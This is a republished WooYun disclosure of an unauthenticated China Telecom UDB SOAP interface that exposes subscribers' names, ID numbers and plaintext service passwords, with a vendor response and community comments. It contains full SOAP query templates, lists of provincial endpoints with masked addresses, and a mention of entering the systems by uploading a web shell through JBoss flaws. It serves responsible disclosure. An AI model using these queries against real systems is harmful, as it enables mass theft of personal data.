中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

admin 2015年4月18日07:07:10评论1,863 views字数 6470阅读21分34秒阅读模式
摘要

2014-07-03: 细节已通知厂商并且等待厂商处理中
2014-07-06: 厂商已经确认,细节仅向厂商公开
2014-07-16: 细节向核心白帽子及相关领域专家公开
2014-07-26: 细节向普通白帽子公开
2014-08-05: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

漏洞概要 关注数(124) 关注此漏洞

缺陷编号: WooYun-2014-66838

漏洞标题: 中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

相关厂商: 中国电信

漏洞作者: [email protected]

提交时间: 2014-07-03 12:22

公开时间: 2014-08-15 12:24

漏洞类型: 未授权访问/权限绕过

危害等级: 低

自评Rank: 1

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 中国电信的菊花

22人收藏

漏洞详情

披露状态:

2014-07-03: 细节已通知厂商并且等待厂商处理中
2014-07-06: 厂商已经确认,细节仅向厂商公开
2014-07-16: 细节向核心白帽子及相关领域专家公开
2014-07-26: 细节向普通白帽子公开
2014-08-05: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

简要描述:

献礼七一,爱党爱国!

详细说明:

根据电信UDB规划发展说明,接口共分2套,即 “全国-/-省级”,UDB是实现中国电信统一账号的基础支撑平台。UDB系统将中国电信原有的各个独立的业务应用平台整合成一个庞大的服务平台,该平台以统一账号为中心对用户账号、密码进行集中维护和统一认证。

省级接口基于华为BME系统实施构建,因BME早期版本存在JBoss漏洞:

(CVE 2010-0738)

(CVE 2013-4810)

黑客可以利用漏洞EXP直接打击BME系统,上传网页木马。

通过对这套系统的分析调查,结合《中国电信用户数据库-接口与流程规范 v2.0》

http://**.**.**.**/view/b698f316f18583d0496459b3.html,我们可以得知其功能/逻辑为:

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

 

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

这意味着本省UDB的BME系统只能查询本省机主用户信息,而全国UDB接口则可通过递归查询获取任意省份机主的用户信息。

对于安全保障方面,根据规范描述,应严格做好接口访问调用的限制,但事实上并非如此!

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

正是缺失了对查询调用方的IP验证机制,直接导致任意用户都可以通过提交SOAP消息到查询接口,请求BME系统查询机主的帐户信息。

最近测试发现全国的BME系统都升级了,修补了JBOSS漏洞的问题,索性就把漏洞公布出来,希望加强重视,但不排除黑客还有其他通道获取该服务器的权限,或能够访问到全国UDB接口的处于电信核心区域的服务器权限。还是要加强边界防范,增强验证机制。

毕竟这套系统的功能并不仅限于查询信息,所有的用户业务开通、办理、缴续费等都依靠着该系统,一旦接口防范不严导致任意访问,兹事体大。

漏洞证明:

省级接口:

通过漏洞进入BME系统服务器后,获取管理员的帐号密码登录该系统,后台具有帐号查询的功能,可查询本省机主信息,并通过抓包分析,可以找到其直接调用的查询接口,该接口可外部任意用户访问,而无需登录BME或验证IP。

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

 

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

示例后台:

http://**.**.**.**:8080/BME/frameset/login.action

示例接口:

http://**.**.**.**:8080/BME/services/ // 提供的服务列表

http://**.**.**.**:8080/BME/services/UDBCommonSoap

查询实例:

code 区域
POST /BME/services/UDBCommonSoap HTTP/1.1
 Host: **.**.**.**:8080
 Content-Type: text/xml; charset=utf-8
 Content-Length: 518
 SOAPAction: "http://**.**.**.**:8080/AccountInfoQuery"
 
 <?xml version="1.0" encoding="utf-8"?>
 <soap:Envelope xmlns:xsi="http://**.**.**.**/2001/XMLSchema-instance" xmlns:xsd="http://**.**.**.**/2001/XMLSchema" xmlns:soap="http://**.**.**.**/soap/envelope/">
   <soap:Body>
     <AccountInfoQuery xmlns="http://**.**.**.**:8080/">
  <srcSsDeviceNo>1000000000000001</srcSsDeviceNo>
  <querySsDeviceNo>1000000000000001</querySsDeviceNo>
  <userID>电话号码</userID>
  <queryInfoType>0</queryInfoType>
     </AccountInfoQuery>
   </soap:Body>
 </soap:Envelope>

整理出存在匿名查询问题的省份UDB接口列表:

http://**.**.**.**:8080/BME/services/UDBCommonSoap 吉林

http://**.**.**.**:8080/BME/services/UDBCommonSoap 辽宁

http://**.**.**.**:8080/BME/services/UDBCommonSoap 湖北

http://**.**.**.**:18080/BME/services/UDBCommonSoap 江西

http://**.**.**.**:18080/BME/services/UDBCommonSoap 江苏

http://**.**.**.**:8080/BME/services/UDBCommonSoap 山东

http://**.**.**.**:8080/BME/services/UDBCommonSoap 北京

全国接口:

可以从任意省份BME系统中获取到全国-省级UDB查询接口,此接口服务器位于电信大内网中,无法从外部访问,任意省份BME服务器均可访问,如果有一个省沦陷,意味着黑客就可以掌控全国UDB的查询权限。

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

 

中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

全国UDB接口内网地址(各省**.**.**.**服务器均可访问):

**.**.**.**:8810/UDBCommon/UDBCommon.asmx?WSDL

**.**.**.**:8810/UDBCommon/UDBCommon.asmx?op=RegisterQueryInfo

**.**.**.**:8810/ProvinceNational/ProvinceNational.asmx?WSDL

查询实例:

code 区域
POST /UDBCommon/UDBCommon.asmx HTTP/1.1
 Host: **.**.**.**:8810
 Content-Type: text/xml; charset=utf-8
 Content-Length: 547
 SOAPAction: "http://**.**.**.**/AccountInfoQuery"
 
 <?xml version="1.0" encoding="utf-8"?>
 <soap:Envelope xmlns:xsi="http://**.**.**.**/2001/XMLSchema-instance" xmlns:xsd="http://**.**.**.**/2001/XMLSchema" xmlns:soap="http://**.**.**.**/soap/envelope/">
   <soap:Body>
     <AccountInfoQueryRequest xmlns="http://**.**.**.**">
       <SrcSsDeviceNo>3500000000000001</SrcSsDeviceNo>
       <QuerySsDeviceNo>3500000000000001</QuerySsDeviceNo>
       <UserID>电话号码</UserID>
       <QueryInfoType>0</QueryInfoType>
     </AccountInfoQueryRequest>
   </soap:Body>
 </soap:Envelope>

 

修复方案:

1.自己写的东西就应该按照其去实施,别不当回事,说得总比做的好

2.实时关注产品组件的漏洞披露及补丁发布情况

版权声明:转载请注明来源 [email protected]@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-06 10:51

厂商回复:

CNVD确认并在某个省份复现所述情况,其余省份已经同步转由分中心确认,已经转由CNCERT直接通报给中国电信集团公司处置。按信息泄露风险评分,rank 20

最新状态:

暂无


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  1. 2014-07-01 12:22 | 疯狗 中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息) ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    1

    咔嚓!!

  2. 2014-07-01 12:24 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    0

    大牛 教俺挖洞可好...

  3. 2014-07-01 12:24 | ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子, 但是除了他华...)

    0

    卧槽

  4. 2014-07-01 12:28 | Finger 中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息) ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    0

    叼炸天啊

  5. 2014-07-01 12:31 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)

    0

  6. 2014-07-01 12:37 | Z-0ne 中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息) ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    0

    前排,坐等中枪

  7. 2014-07-01 12:38 | 小威 ( 普通白帽子 | Rank:535 漏洞数:87 | 活到老,学到老!)

    0

    先跪拜一下!·

  8. 2014-07-01 12:39 | 晓海’ ( 路人 | Rank:1 漏洞数:3 | 一个IT界的酱油帝,坚信分享,创造未来!)

    0

    全国?这规模也太大了吧?

  9. 2014-07-01 12:48 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    0

    怎一个屌字了的

  10. 2014-07-01 13:04 | 走火入魔 ( 路人 | Rank:20 漏洞数:3 | 多读书,多看报,少吃零食,多睡觉。)

    0

    怎一个屌字了的

  11. 2014-07-01 13:08 | abcdlzy ( 实习白帽子 | Rank:79 漏洞数:14 | 好好学习,天天向上。)

    0

    这是膝盖中了几箭的节奏么?

  12. 2014-07-01 13:11 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)

    0

    还好我没手机

  13. 2014-07-01 13:20 | 小螺号 ( 实习白帽子 | Rank:58 漏洞数:10 | 小螺号呀嘀嘀的~~~~~~吹)

    0

    我只挖到了一个省的 你厉害

  14. 2014-07-01 13:22 | he1renyagao ( 普通白帽子 | Rank:235 漏洞数:31 | 是金子总会发光,在还未发光之前,先磨磨)

    0

    神奇的路人甲

  15. 2014-07-01 13:22 | Neeke ( 普通白帽子 | Rank:110 漏洞数:26 | 额滴歌神呀!)

    0

    碉堡了

  16. 2014-07-01 13:29 | MarkGUN ( 路人 | Rank:13 漏洞数:2 | 我是GONG,因为我喜欢一切美好的东西,但是...)

    0

    牛逼了,路人甲威武

  17. 2014-07-01 13:30 | MarkGUN ( 路人 | Rank:13 漏洞数:2 | 我是GONG,因为我喜欢一切美好的东西,但是...)

    0

    @小螺号 你挖到那个省的了,我也去挖下,避免我们不产生碰撞!

  18. 2014-07-01 13:33 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    0

    NB!

  19. 2014-07-01 14:06 | 0749orz ( 路人 | Rank:3 漏洞数:4 | 厌了,烦了~~~)

    0

    牛B, 了,,别查我家水表。。。我拆 了

  20. 2014-07-01 14:32 | onlycjeg ( 实习白帽子 | Rank:38 漏洞数:5 )

    0

    献礼七一,爱党爱国!

  21. 2014-07-01 15:01 | 芙兰朵露斯卡雷特 ( 路人 | Rank:4 漏洞数:4 | 看我闪现逃走闪现逃走六不六)

    0

    卧槽!

  22. 2014-07-01 15:04 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    0

  23. 2014-07-01 15:31 | zeracker 中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息) ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    0

    吓死我了。

  24. 2014-07-01 15:34 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    0

    反正我木有用电信,哇卡卡卡~~

  25. 2014-07-01 16:55 | Master ( 实习白帽子 | Rank:33 漏洞数:10 )

    0

    weiguan

  26. 2014-07-01 17:56 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活,亭长放解)

    0

    服务密码6个数字也明文……用的不是整型吧……

  27. 2014-07-01 20:53 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)

    0

    这个比较强

  28. 2014-07-01 21:19 | Lucien ( 路人 | Rank:4 漏洞数:1 | 一个普通用户)

    0

    我擦!

  29. 2014-07-01 21:26 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    0

    打酱油的!

  30. 2014-07-02 11:04 | 兔兔侠 ( 路人 | Rank:2 漏洞数:1 )

    0

    哇果断求看看

  31. 2014-07-02 15:50 | 飞鸡 ( 路人 | Rank:13 漏洞数:6 | 看,有飞鸡)

    1

    我勒个去

  32. 2014-07-02 18:44 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

    0

    果断收藏

  33. 2014-07-06 18:47 | Ton7BrEak ( 普通白帽子 | Rank:330 漏洞数:70 | ☁ 我要继续努力!)

    0

    高rank~~等细节

  34. 2014-07-26 11:14 | PythonPig ( 普通白帽子 | Rank:562 漏洞数:84 | 只会简单工具的小小菜)

    0

    神奇的路人甲

  35. 2014-07-29 10:11 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    0

    你要想想这是华为去做的。不是我有意说他们,他们的开发有的很自大,觉得这个不是问题那个也不是问题,都不愿意改。

  36. 2014-08-15 04:39 | 汪哥 ( 路人 | Rank:28 漏洞数:6 )

    0

    吓死了

  37. 2014-08-15 15:17 | 半夏 ( 路人 | Rank:12 漏洞数:4 | 密码忘啦 再见)

    0

    哇擦 老NB啦

  38. 2014-08-15 15:40 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑,我就是认真)

    0

    楼上+1

  39. 2014-08-15 16:13 | CoffeeSafe ( 普通白帽子 | Rank:142 漏洞数:37 )

    0

    来我们中国电信上班吧~哈哈哈

  40. 2014-08-21 09:05 | Jack.Chalres ( 实习白帽子 | Rank:39 漏洞数:15 | ..............)

    0

    好屌

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2015年4月18日07:07:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)http://cn-sec.com/archives/16379.html

发表评论

匿名网友 填写信息